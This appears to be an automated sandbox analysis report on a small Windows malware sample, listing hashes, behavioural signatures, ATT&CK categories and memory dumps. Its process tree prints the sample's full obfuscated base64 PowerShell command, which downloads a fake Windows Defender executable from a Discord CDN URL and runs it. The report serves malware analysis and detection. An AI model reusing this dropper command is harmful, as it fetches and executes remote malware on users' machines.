84f4147c587997001ab5038e87e4c2d4ebccd9ca90b5aa7dca4ee6ff0c71ca3c

Analysis

max time kernel
136s
max time network
149s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
01-01-2023 09:33

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General

Target

SecuriteInfo.com.Variant.Marsilia.2083.14237.623.exe
Size

6KB
MD5

cc8f21ae349c24e980957796b2960381
SHA1

3e4a5550e97dd23cdbc15164ee9c3eae5bd64530
SHA256

84f4147c587997001ab5038e87e4c2d4ebccd9ca90b5aa7dca4ee6ff0c71ca3c
SHA512

ae61e6680ee7c095ea13045cbfe47b480ec733f87ea9f1db3e7d7209cfb51e6e0edbfaea9003e39b7b568e3287916a2db6b5c033da4754402b7b6d74e7421995
SSDEEP

96:1Otr37988CFppBd5tJOvk+K8AYcs8vk+Kipwvzd3ojvrl:1OtX98nFpvd5avk9YsvkGCzdu

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
5	764	powershell.exe
6	764	powershell.exe
7	764	powershell.exe
10	764	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
764	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	764	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2028 wrote to memory of 764	2028	SecuriteInfo.com.Variant.Marsilia.2083.14237.623.exe	28
PID 2028 wrote to memory of 764	2028	SecuriteInfo.com.Variant.Marsilia.2083.14237.623.exe	28
PID 2028 wrote to memory of 764	2028	SecuriteInfo.com.Variant.Marsilia.2083.14237.623.exe	28

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Variant.Marsilia.2083.14237.623.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Variant.Marsilia.2083.14237.623.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAcwBoACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA2ADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANQA3ADQAMQA0ADgANAA4ADkAMAA2ADAAMAA2ADYAMAA5AC8AMQAwADUANwA0ADEANQAxADQAOAAwADgAOQA5ADEANwA1ADUAMAAvAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFMAbQBhAHIAdAB0AFMAYwByAGUAZQBuAC4AZQB4AGUAJwAsACAAPAAjAGcAcABhACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAbABjAHkAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAagBtAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcANQAuAGUAeABlACcAKQApADwAIwBrAHoAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwByAHcAegAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAZQByAHIAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcANQAuAGUAeABlACcAKQA8ACMAagB1AG0AIwA+AA=="
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:764

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/764-58-0x000007FEF40C0000-0x000007FEF4AE3000-memory.dmp

Filesize
10.1MB

Download
memory/764-60-0x0000000002574000-0x0000000002577000-memory.dmp

Filesize
12KB

Download
memory/764-59-0x000007FEF3560000-0x000007FEF40BD000-memory.dmp

Filesize
11.4MB

Download
memory/764-61-0x000000001B7C0000-0x000000001BABF000-memory.dmp

Filesize
3.0MB

Download
memory/764-62-0x000000000257B000-0x000000000259A000-memory.dmp

Filesize
124KB

Download
memory/764-63-0x0000000002574000-0x0000000002577000-memory.dmp

Filesize
12KB

Download
memory/2028-54-0x0000000001310000-0x0000000001318000-memory.dmp

Filesize
32KB

Download
memory/2028-55-0x000007FEFC421000-0x000007FEFC423000-memory.dmp

Filesize
8KB

Download